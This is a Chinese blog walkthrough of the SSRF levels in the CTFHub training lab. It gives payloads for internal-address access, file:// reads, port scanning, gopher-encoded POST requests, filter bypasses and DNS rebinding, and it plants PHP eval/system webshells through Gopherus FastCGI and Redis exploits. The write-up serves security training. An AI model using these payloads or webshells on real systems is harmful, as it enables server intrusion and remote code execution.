首页 > 其他分享 >CTFHUB靶场关于SSRF保姆级攻略

CTFHUB靶场关于SSRF保姆级攻略

时间:2024-12-18 19:55:46浏览次数:7  
标签:127.0 SSRF CTFHUB url flag 复制 攻略 php 输入

一.内网访问

输入127.0.0.1/flag.php

二.伪协议读取文件

输入?url=file:///var/www/html/flag.php

右键页面查看源代码

三.端口扫描

尝试一下index.php,没有显示,说明有这个文件

上方题中提示我们端口在8000-9000中我们用burp suite抓包,开启代理

输入?url=127.0.0.1:8000/index.php

右键空白处,发送到intruder,选中端口8000,再点击添加payload

在进入到payload中,按照下图填选,选中。

我们看这个200响应码的,去访问就会得到答案

四.POST请求

我们输入?url=http://127.0.0.1/flag.php

再查看页面源代码,我们发现有一个钥匙

复制下来,去把它放到白色框中,抓它的包,把下方图片的框中的内容全部删掉

然后改成向下方图一样的字样

再将这些数据复制下来,去进行第一次url编码

地址:CTF在线工具-在线URL编码|URL解码

将编码后的内容复制下来去打开记事本,粘贴下来,点击替换

将%0a替换为%0d%0a

再在最末尾也加上%0d%0a

将他们复制下来,进行第二次url编码

将二次编码的结果复制下来去原网址访问

将上方%253A换成冒号

回车

我们就会得到flag了

五.上传文件

上方提示我们需要上传文件

所以我们输入?url=file:///var/www/html/flag.php

就会得到下方图片的内容

这个需要我们写一个一句话木马文件上传,但是没有提交按钮,我们来自己构造一个

右键选择检查,在下方框中添加<input type="submit" name="submit">再点击空白处

就会出现一个按钮

我们创建一个名为1.php的文件,里面

输入<?php @eval($_POST[cmd]); ?>

保存后带年纪浏览,选中这个木马文件,这个时候打开代理,准备抓包

下方就是我们抓到的数据包

与POST请求关卡相似,改成下方的模样

全部复制下来,进行第一次url编码

将结果复制,打开记事本,把%0a替换为%0d%0a,再把结尾加上%0d%0a

全部复制下来,再去进行第二次url编码

将结果复制下来,去访问,记得把%253A换成冒号,就得到flag了

六.FastCGI协议

这里有一个题目附录,在这关我们需要用到一款名为Gopherus工具,还需要用到python2的环境,我这里是在kali做的,工具大家自己去下载

在kali中,点进这个工具

在这里打开终端

输入python2 gopherus.py查看一下用法

了解之后,我们在

输入python2 gopherus.py --exploit fastcgi

在上方输入/var/www/html/index.php

这里我们上传一个一句话木马,利用base64编码一下

在输入echo "PD9waHAgQHN5c3RlbSgkX0dFVFsnYSddKTsgPz4=" | base64 -d > 666.php

将下方框中的内容复制下来

在进行一次url编码

出现上访的情况就说明写进去了

在输入666.php?a=ls%20../../../;

我们会看到一个flag_617c826d2c56425e32808f1b4afefafb的文件,cat一下,得到flag

七.Redis

这关与上一关相似

输入python2 gopherus.py --exploit redis

输入PHPshell

输入/var/www/html或者直接回车

输入<?php @eval($_POST[a]) ?>或者直接回车

进行url编码

将结果复制下来,去访问

这里我们直接点旁边的X,结束,在访问一下shell.php,看看我们的木马是否写进去了

这就说明我们的木马已经写进去了,这回我们用蚁剑连一下

我们来到根目录,向下翻,看见了一个flag_25a71a953929896cac24e78b3f84d6dd文件

点进去,就发现了flag

八.URL Bypass

这里给出了提示

输入?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

上方的@表示左边的当成用户,右边的是网址,而提示又说必须用http://notfound.ctfhub.com才能访问,所以我们用一个@就可以解决

九.数字IP Bypass

输入?url=127.0.0.1/flag.php

我们发现它ban掉了127,172,@

所以我们用16进制来代替127.0.0.1

输入?url=0x7F000001/flag.php

十.302跳转 Bypass

输入?url=http://0.0.0.0/flag.php

或者

输入

十一.DNS重绑定 Bypass

在B输入127.0.0.2

回车

将下方红框中的复制

访问?url=http://7f000001.7f000002.rbndr.us/flag.php得出flag

以上就是SSRF的全部通关攻略!!!

标签:127.0,SSRF,CTFHUB,url,flag,复制,攻略,php,输入
From: https://blog.csdn.net/mirliasheong/article/details/144543811

相关文章

  • 【Linux】深入Linux:yum包管理与vim编辑器实用攻略
    在Linux系统中,yum和vim是不可或缺的工具,前者用于软件包管理,后者是高效的文本编辑器。本文将为你提供实用的操作技巧和攻略,帮助你轻松掌握这两项核心技能,提高开发和系统管理的效率。文章目录一、Linux软件包管理器-yum二、Linux系统(Centos)生态2.1三种安装软件......
  • 游戏团队节日协作攻略!6 款办公软件怎样成为致胜法宝?
    在游戏行业这个充满创意与挑战的领域,各部门间的紧密协作是项目成功的基石,尤其是在节日期间,新游戏上线或重大更新的压力下,高效的办公软件成为了不可或缺的协作利器。本文将站在全J人游戏公司的视角,深入剖析6款可视化团队协作办公软件,探讨它们在游戏开发、运营等多方面的表现,究......
  • 轻松上手!小白必看的Python Requests抓取<iframe>内容全攻略
    引言对于初学者来说,爬取网页内容是一项既有趣又具挑战性的任务。当你遇到网页中嵌入的<iframe>标签时,可能会感到困惑:如何用Python获取这些框架内的信息呢?别担心!本文将手把手教你使用requests库结合其他工具来实现这一目标。无论你是编程新手还是有一定经验的开发者,这篇文章都......
  • CTFHub-ssrf
    技能树--Web--SSRF内网访问开启题目尝试访问位于127.0.0.1的flag.php吧进入环境根据提示输入即可127.0.0.1/flag.php伪协议读取文件开启题目尝试去读取一下Web目录下的flag.php吧进入环境,根据提示输入file:///var/www/html/flag.php鼠标右键查看页面源......
  • metinfo-csrf漏洞复现攻略
    CSRF漏洞概念:由于⽹站对⽤户⽹⻚浏览器的信任导致⽤户在当前已登录的Web站点的状态下,访问攻击者构造的攻击连接从⽽执⾏⾮本意的操作的漏洞CSRF漏洞利⽤条件:1.⽤户处于登陆⽬标⽹站的状态(Cookie)2.⽤户点击攻击者发送的恶意URL连接下面是详细的流程:将所需要的metinfo文......
  • CTFHUB-web(SSRF)
    内网访问点击进入环境,输入http://127.0.0.1/flag.php伪协议读取文件/?url=file:///var/www/html/flag.php右击查看页面源代码端口扫描1.根据题目提示我们知道端口号在8000-9000之间,使用bp抓包并进行爆破POST请求点击环境,访问flag.php查看页......
  • 跨越边界:MySQL跨平台性能优化全攻略
    在当今全球化和技术多样化的背景下,确保应用程序能够在各种操作系统上无缝运行并提供一致的用户体验变得至关重要。对于数据库系统而言,这意味着不仅要保证数据的一致性和完整性,还要确保其在不同环境下的高效运作。MySQL作为世界上最受欢迎的关系型数据库管理系统之一,支持多种......
  • 心动小镇线条小狗联动攻略:绘制梦幻交织的奇遇之旅
    心动小镇和线条小狗的联动已经火热开启了,新装扮、新玩法、新区域等超多新鲜内容都能够丰富我们的游戏体验,今天就给大家一些联动攻略。一、引虫出洞事件1.引虫出洞事件中的6种虫类,有5种部分天气出现,大绢斑蝶在雨天、彩虹天才会出现。2.温泉、火山湖、遗迹三条航线,每条航线的......
  • 2025年网络安全零基础自学全攻略:避开弯路,快速上手!
     自学网络安全是一项充满挑战的任务,但只要遵循合适的学习路径,能够有效避免走弯路,逐步建立知识体系,最终可以在该领域取得成就。本文将为你提供2025年最新的网络安全自学攻略,帮助你高效地规划学习路线,掌握网络安全的核心知识,避免学习中的误区。目录自学网络安全的......
  • 2024圣诞库存管理攻略:免费进销存软件优化库存与供应链
    随着圣诞节的临近,电商、零售等行业迎来了年度销售高峰期。面对订单激增、库存周转快、供应链复杂的挑战,企业如何确保货品充足、订单快速处理,并避免库存积压或断货?一款高效的进销存软件就成了必备利器!本文将为你解析如何利用进销存软件,优化库存销售管理和运营效率,助力企业高效决策......